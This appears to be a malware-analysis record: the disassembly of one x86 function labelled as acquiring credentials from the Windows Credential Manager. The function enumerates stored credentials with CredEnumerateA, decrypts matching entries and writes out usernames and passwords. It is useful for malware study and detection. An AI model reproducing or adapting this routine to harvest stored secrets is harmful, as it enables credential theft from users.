Function at 0x44be30
Capabilities:
Acquire credentials from windows credential manager

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4ec
mov eax, dword [0x4a80a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x3ff
lea eax, [ebp - 0x4b7]
mov byte [ebp - 0x4b8], 0
mov ebx, ecx
push 0
push eax
mov dword [ebp - 0x4dc], ebx
call fcn.004644a0
lea ecx, [ebp - 0x4b8]
call fcn.0044c250
mov eax, dword [0x49dc5c]
lea edx, [ebp - 0x14]
movq xmm0, qword [0x49dc54]
mov ecx, edx
mov dword [ebp - 0xc], eax
mov ax, word [0x49dc60]
mov word [ebp - 8], ax
movzx eax, byte [0x49dc62]
movq qword [ebp - 0x14], xmm0
mov byte [ebp - 6], al
call fcn.00447390
lea eax, [ebp - 0x14]
push eax
push str._r_n__s_
push ebx
call fcn.00447150
lea eax, [ebp - 0x4b8]
push eax
push str._s___r_n
push ebx
call fcn.00447150
movdqu xmm0, xmmword [0x49dc64]
mov eax, dword [0x49dc84]
lea edx, [ebp - 0x3c]
add esp, 0x24
mov dword [ebp - 0x1c], eax
movzx eax, byte [0x49dc88]
mov ecx, edx
movdqu xmmword [ebp - 0x3c], xmm0
mov byte [ebp - 0x18], al
movdqu xmm0, xmmword [0x49dc74]
movdqu xmmword [ebp - 0x2c], xmm0
call fcn.00447390
movdqu xmm0, xmmword [0x49dc8c]
mov eax, dword [str.____]
lea edx, [ebp - 0x64]
mov dword [ebp - 0x44], eax
mov ecx, edx
movzx eax, byte [0x49dcb0]
movdqu xmmword [ebp - 0x64], xmm0
mov byte [ebp - 0x40], al
movdqu xmm0, xmmword [0x49dc9c]
movdqu xmmword [ebp - 0x54], xmm0
call fcn.00447390
mov eax, 2
xor ecx, ecx
movd xmm1, eax
lea eax, [ebp - 0xa8]
jmp 0x44bf50
movq xmm0, qword [ebp + ecx - 0x3c]
lea eax, [eax + 0x20]
punpcklbw xmm0, xmm0
psraw xmm0, 8
psllw xmm0, xmm1
movdqu xmmword [eax - 0x30], xmm0
movq xmm0, qword [ebp + ecx - 0x34]
add ecx, 0x10
punpcklbw xmm0, xmm0
psraw xmm0, 8
psllw xmm0, xmm1
movdqu xmmword [eax - 0x20], xmm0
cmp ecx, 0x20
jl 0x44bf50
cmp ecx, 0x25
jge 0x44bfa8
movsx ax, byte [ebp + ecx - 0x3c]
shl ax, 2
mov word [ebp + ecx*2 - 0xb8], ax
inc ecx
cmp ecx, 0x25
jl 0x44bf90
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0x4bc], 0
push eax
lea eax, [ebp - 0x4bc]
mov dword [ebp - 0x4c0], 0
push eax
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_CredEnumerateA]
test eax, eax
je 0x44c238
xor esi, esi
mov dword [ebp - 0x4e0], esi
cmp dword [ebp - 0x4bc], esi
jbe 0x44c22a
mov eax, dword [ebp - 0x4c0]
mov edx, dword [eax + esi*4]
cmp dword [edx + 4], 1
jne 0x44c217
lea ecx, [ebp - 0x64]
lea edi, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c010
sub ecx, edi
lea eax, [ebp - 0x64]
push ecx
push eax
push dword [edx + 8]
call fcn.004638b8
add esp, 0xc
test eax, eax
jne 0x44c217
mov eax, dword [ebp - 0x4c0]
lea ecx, [eax + esi*4]
mov eax, dword [ecx]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x4d4], eax
mov eax, dword [ecx]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x4d8], eax
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x4cc], eax
lea eax, [ebp - 0x4c8]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x4d0]
mov dword [ebp - 0x4d0], 0x4a
push eax
push 0
lea eax, [ebp - 0x4d8]
push eax
mov eax, dword [ebx + 0x41c]
call eax
test eax, eax
je 0x44c217
mov eax, dword [ebp - 0x4c8]
shr eax, 1
inc eax
push eax
call fcn.0046243d
mov edi, eax
add esp, 4
test edi, edi
je 0x44c238
mov ecx, dword [ebp - 0x4c8]
shr ecx, 1
inc ecx
push ecx
push 0
push edi
call fcn.004644a0
push dword [ebp - 0x4c4]
mov eax, dword [ebp - 0x4c8]
shr eax, 1
push 0x49dcb4
inc eax
push eax
push edi
call fcn.0046158b
push 0x49dcb8
push edi
call fcn.00463540
add esp, 0x24
mov dword [ebp - 0x4e4], eax
test eax, eax
je 0x44c202
mov esi, eax
sub esi, edi
test esi, esi
jle 0x44c1fc
lea eax, [esi + 1]
push eax
call fcn.0046243d
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x44c238
lea eax, [esi + 1]
push eax
push 0
push ebx
call fcn.004644a0
push esi
push edi
push ebx
call fcn.00464990
mov esi, dword [ebp - 0x4dc]
lea eax, [esi + 0x404]
push eax
push str.____s_:
push esi
call fcn.00447150
push ebx
push str._s_r_n
push esi
call fcn.00447150
mov esi, edi
add esp, 0x30
lea ecx, [esi + 1]
lea ebx, [ebx]
mov al, byte [esi]
inc esi
test al, al
jne 0x44c160
sub esi, ecx
mov ecx, ebx
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c170
sub ecx, edx
sub esi, ecx
dec esi
test esi, esi
jle 0x44c1ed
lea eax, [esi + 1]
push eax
call fcn.0046243d
add esp, 4
mov dword [ebp - 0x4e8], eax
test eax, eax
je 0x44c238
lea ecx, [esi + 1]
push ecx
push 0
push eax
call fcn.004644a0
mov eax, dword [ebp - 0x4e4]
push esi
mov esi, dword [ebp - 0x4e8]
inc eax
push eax
push esi
call fcn.00464990
mov ecx, dword [ebp - 0x4dc]
lea eax, [ecx + 0x40d]
push eax
push str.____s_:
push ecx
call fcn.00447150
push esi
push str._s_r_n_r_n
push dword [ebp - 0x4dc]
call fcn.00447150
push esi
call fcn.004624b3
add esp, 0x34
push ebx
call fcn.004624b3
mov ebx, dword [ebp - 0x4dc]
add esp, 4
mov esi, dword [ebp - 0x4e0]
push edi
call fcn.004624b3
add esp, 4
push dword [ebp - 0x4c4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
inc esi
mov dword [ebp - 0x4e0], esi
cmp esi, dword [ebp - 0x4bc]
jb 0x44bff0
push dword [ebp - 0x4c0]
mov eax, dword [ebx + 0x418]
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046125f
mov esp, ebp
pop ebp
ret